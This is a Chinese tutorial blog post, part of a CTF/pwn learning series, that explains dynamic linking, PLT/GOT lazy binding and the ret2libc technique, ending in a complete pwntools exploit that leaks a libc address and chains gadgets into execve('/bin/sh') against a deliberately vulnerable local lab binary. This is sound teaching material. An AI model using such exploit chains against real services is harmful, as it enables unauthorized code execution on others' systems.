iT邦幫忙

2024 iThome 鐵人賽

DAY 9
0
Security

Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲系列 第 9

[Day9] Stack 攻擊手法 - ROP:動態連結

  • 分享至 

  • xImage
  •  

在上一篇文章中,我們介紹了如何利用 ROP(Return-Oriented Programming)來繞過 NX(No-eXecute)保護機制。並且透過一隻靜態連結的程式作為例題,然而,現實中大多數程式是使用動態連結的,那這樣還能 ROP 嗎?

可以的!本篇文章將說明如何利用動態函式庫中的 Gadget 來達成 ROP,這種技術稱為 ret2libc。
文章架構如下:

  • 動態連結
    • 延遲綁定(Lazy Binding)
  • ret2libc
  • 攻擊手法分析
  • Exploit
    • 初始化
    • Payload1:洩漏實際位址
    • 計算載入初始位址
    • Payload2:獲取控制權

動態連結

與靜態連結直接將所需函式庫嵌入到執行檔中不同,動態連結(Dynamic Linking)是在程式執行時才載入外部函式庫。外部函式在程式碼中只有相對位址(偏移量),動態連結器會在執行期間,將這些外部函式的位址重新定址為真正載入記憶體中的位址。

然而,當外部函式數量龐大時,若在啟動時就一一解析位址,會嚴重影響效能。為了優化啟動速度,就有人提出一種概念,即函數有被呼叫時才去尋找真正的位址,這個概念稱為延遲綁定(Lazy Binding)

延遲綁定(Lazy Binding)

以呼叫 printf() 函式為例,延遲綁定的運作過程如下:
image
當程式第一次呼叫 printf() 這個外部函式時,它會透過 .plt 段落中的對應項目來進行跳轉。這個 PLT 項目不會直接執行 printf(),而是會跳轉到一段動態連結的程式碼。這段程式碼會啟動動態連結器,負責解析 printf() 的實際位址。

當動態連結器找到 printf() 的位址後,它會將這個位址填入 GOT(全域偏移表,Global Offset Table)中的對應項目。之後每次呼叫 printf(),程式會直接從 GOT 表中讀取已解析好 printf() 位址,避免再度啟動動態連結。

補充:PLT(Procedure Linkage Table,程式連結表)是 ELF(Executable and Linkable Format)檔案中的一個區段,內含一段跳轉用的程式碼。

整個延遲綁定的機制如上述所示,我們可以注意到在記憶體中有一個位置(GOT)存放著外部函數與實際位址的對應關係,也就是說只要有辦法洩漏這張表的內容,ASLR 的保護機制(能隨機共享函式庫的起始位址)形同虛設。

ret2libc

當攻擊靜態連結的程式時,我們可以直接在程式中找到 ROP 所需的 Gadget。但對於動態連結的程式,除了程式本身,我們還可以在共享函式庫中尋找 Gadget。然而它的難點在於,當我們找到共享函式庫中 Gadget 的位址(為起始位址的偏移量)時,會因為 ASLR 這個保護機制導致載入的起始位址隨機,如同 Day6 最下方的說明,導致找到的 Gadget 位址非實際載入的位址
image
但由於整個共享函式庫的相對位址不變,因此 Gadget 的實際位址 = 找到的 Gadget 位址(起始位址的偏移量) + 載入的起始位址。

那我們要怎麼知道載入的起始位址呢? 接下來我們透過實際的範例做進一步的說明,使用張元於 NTU Computer Security Fall 2019 - 台大計算機安全的 ret2libc

#include<stdio.h>
#include<stdlib.h>

void init(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main(){
    init();
    puts( "Say hello to stack :D" );
    char buf[48];
    gets(buf);

    return 0;
}

同樣也關閉 Canary 與 PIE 保護機制。

攻擊手法分析

可以看到這個程式使用了 gets() 函數,因此存在 Stack Buffer Overflow 漏洞。不過,程式沒有後門函數,並且已開啟 NX 保護機制,這意味著我們無法執行自己寫入的 Shellcode。然而,正如上一篇文章所提到的,我們可以透過 ROP(Return Oriented Programming)技術,使用程式中的小片段(Gadgets)來繞過 NX 保護。

當我們嘗試對這隻程式使用 ROPGadget 工具時,會發現沒有像 system、syscall 或 /bin/sh 這類可以直接開啟 Shell 的 Gadgets。不過,儘管這隻程式本身沒有這些 Gadgets,我們仍可以從共享函式庫中找到它們,這就是為什麼這個攻擊手法被稱為 ret2libc:ROP Chain 是由共享函式庫的程式片段所組成的。

要知道這個程式使用了哪些動態函式庫,我們可以使用 ldd 指令來列出它所依賴的共享函式庫,命令如下:

ldd ./ret2libc

其中 libc.so.6 就是我們要使用的動態函式庫,後面顯示的是它的路徑。

註:為了方便練習,我們在本地環境進行攻擊。因此,我們使用本地的共享函式庫來操作。這樣我們可以利用已知的函式庫地址和偏移量來構造 ROP Chain,而不必考慮遠端環境的函式庫版本差異。如果是在遠端伺服器上進行攻擊,則可能需要額外考慮函式庫版本差異,甚至需要使用其他技巧來取得遠端函式庫的基址。

如同上一篇文章所述,我們的目標是通過 Gadget 組成 execve("/bin/sh", NULL, NULL),下圖顯示了所需的 Stack 結構:
image

我們可以發現需要的 Gadget 全部都能在共享函式庫(/lib/x86_64-linux-gnu/libc.so.6)中找到,如下圖
image
然而,由於 ASLR(Address Space Layout Randomization)保護機制,我們需要考慮共享函式庫的起始載入位址,並加上相應的偏移量。

那麼,如何找到共享函式庫的起始位址呢?我們來看個例子。假設我們知道 printf 函數在記憶體中的實際載入位址:
image
由於有共享函式庫的檔案,我們可以知道 printf 位在檔案中的哪裡,即從檔案起始開始算的偏移量。假設它的偏移量為 6 而實際位址為 0x1006,可以很明顯的看出 libc 被載入的起始位置為 0x1006 - 6 = 0x1000。
接著,假如我們現在想知道 system 的實際位址,就會像這樣:
image
只需要將 system() 在檔案中的偏移量加上剛剛我們算出的載入起始位址(0x1000),就能得知 system() 的實際位址為 0x1000+12(0xc)。

不只是 system(),整份檔案只要加上 0x1000 就會是實際位址,包含我們從 ROPgadget 找到的 Gadgat。簡單來說,只要我們能 Leak(洩露)出某個函數的實際位址,就能繞過 ASLR 保護。

還記得上面提到的延遲綁定機制嗎?只要函數有被呼叫過他的真實位址就會被存進 GOT(Global Offset Table),也就是說我們可以透過印出 GOT 的內容來取得函數的真實位址,因為函數一旦被呼叫,它的實際位址就會被存入 GOT。

也因此整個攻擊過程如下:

  1. 蓋到 Return Address 時,讓程式執行 printf(某使用過函數的GOT內容)
  2. 透過上面的 printf 得到某函數位址,算出初始載入位址,並將後續需要用到的 Gadget 加上這個位址,得到實際 Gadget 的記憶體位址。
  3. 透過 ROP 讓程式跳回 main(),這樣能再一次觸發 Stack Buffer Overflow
  4. 藉由第二次的 Stack Buffer Overflow 將實際位址的 Gadget 串聯成 execve("/bin/sh", NULL, NULL) 的 ROP Chain,最終取得 Shell。

Exploit

接下來我們將一步一步撰寫攻擊腳本

1. 初始化

from pwn import *

context.binary = './ret2libc'
p = process('./ret2libc')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

除了前說明過的設定架構與運行程式以外,由於之後會使用到 libc.so.6 這隻動態函式庫,因此我們可以使用 pwntools 中的 ELF() 函數將 ELF 檔包進來並做解析。

2. Payload1:洩漏實際位址

要 Leak 出某函數的位址需要幾個條件:

  • 找到 pop rdi; ret; 的 Gadget 才能將需要輸出的 Leak Address 做為輸出函數(printfputs 等)的第一個參數
  • 找一個已經被呼叫過函數的 GOT 位址,傳入 RDI 暫存器
  • 呼叫 printfputs 等輸出函數,將上述 GOT 內容輸出

首先,先使用 ROPgadget 找到 pop rdi; ret;
image

pop_rdi = 0x0000000000400733

接著我們要選定一個有被使用過函數的 GOT,可以是程式中有用的到 gets()puts 甚至是呼叫 main 的 libc_start_main() 都可以。我們以 gets() 舉例,要找到 gets() 的 GOT 位址可以使用 objdump 找:
image
前面有說到 plt 會透過跳轉指令去取得 GOT 的內容,因此 gets@plt 的第一行後面的 601020 <gets@GLIBC_2.2.5> 即為 gets 的 GOT 位址。
此外,也可以像下面這樣:

gets_got = context.binary.got['gets']

context.binary 為我們的程式 ret2lib,可以透過此種方式讓 pwntools 幫我們找到。

再來,我們要找到輸出函數函數的位址,程式中有 puts() 這個函數供我們使用,同樣使用 pwntools 工具幫我們找到 puts() 的位址:

puts_plt = context.binary.plt['puts']

最後,我們需要 main() 的位址:

main_adr = context.binary.symbols['main']

以及我們要計算 padding,作為 Retrun Address 之前的填充
image
可以看出我們的 padding 為 0x30 + 8

padding = b'A' * (0x30 + 8)

將上述內容整合成一段 payload,如下:

payload1 = flat(
    padding,
    pop_rdi,
    gets_got,
    puts_plt,
    main_adr
)

3. 計算載入初始位址

p.sendlineafter('D\n', payload1)

gets_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_addr = gets_addr - libc.symbols['gets']

先將上述的 payload 發送後,我們可以接收到 gets() 的實際位址,藉此算出 libc 的載入初始位址。

4. Payload2:獲取控制權

獲得 libc 的載入初始位址後就能將獲得從 libc.so.6 找到的 Gadget 實際位址,並且透過這些 Gadget 串成 execve("/bin/sh", NULL, NULL)

pop_rdi = 0x0000000000028215 + libc_addr
bin_sh_addr = 0x0000000000197e34 + libc_addr
pop_rsi = 0x0000000000029b29 + libc_addr
pop_rdx = 0x00000000001085ad + libc_addr
pop_rax = 0x0000000000040647 + libc_addr
syscall = 0x00000000000264a3 + libc_addr

payload2 = flat(
    padding,
    pop_rdi,
    bin_sh_addr,
    pop_rsi,
    0,
    pop_rdx,
    0,
    pop_rax,
    0x3b,
    syscall
)

p.sendlineafter('D\n', payload2)
p.interactive()

註:可以參考上一篇對於此 ROP Chain 的說明

整段攻擊腳本如下:

from pwn import *

context.binary = './ret2libc'
p = process('./ret2libc')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x0000000000400733
gets_got = context.binary.got['gets']
puts_plt = context.binary.plt['puts']
main_adr = context.binary.symbols['main']

padding = b'A' * (0x30 + 8)
payload1 = flat(
    padding,
    pop_rdi,
    gets_got,
    puts_plt,
    main_adr
)

p.sendlineafter('D\n', payload1)

gets_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_addr = gets_addr - libc.symbols['gets']

pop_rdi = 0x0000000000028215 + libc_addr
bin_sh_addr = 0x0000000000197e34 + libc_addr
pop_rsi = 0x0000000000029b29 + libc_addr
pop_rdx = 0x00000000001085ad + libc_addr
pop_rax = 0x0000000000040647 + libc_addr
syscall = 0x00000000000264a3 + libc_addr

payload2 = flat(
    padding,
    pop_rdi,
    bin_sh_addr,
    pop_rsi,
    0,
    pop_rdx,
    0,
    pop_rax,
    0x3b,
    syscall
)

p.sendlineafter('D\n', payload2)
p.interactive()

image


上一篇
[Day8] Stack 攻擊手法 - ROP:靜態連結
下一篇
[Day10] Stack 攻擊手法 - ret2dlresolve & 保護機制 - RELRO(上)
系列文
Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言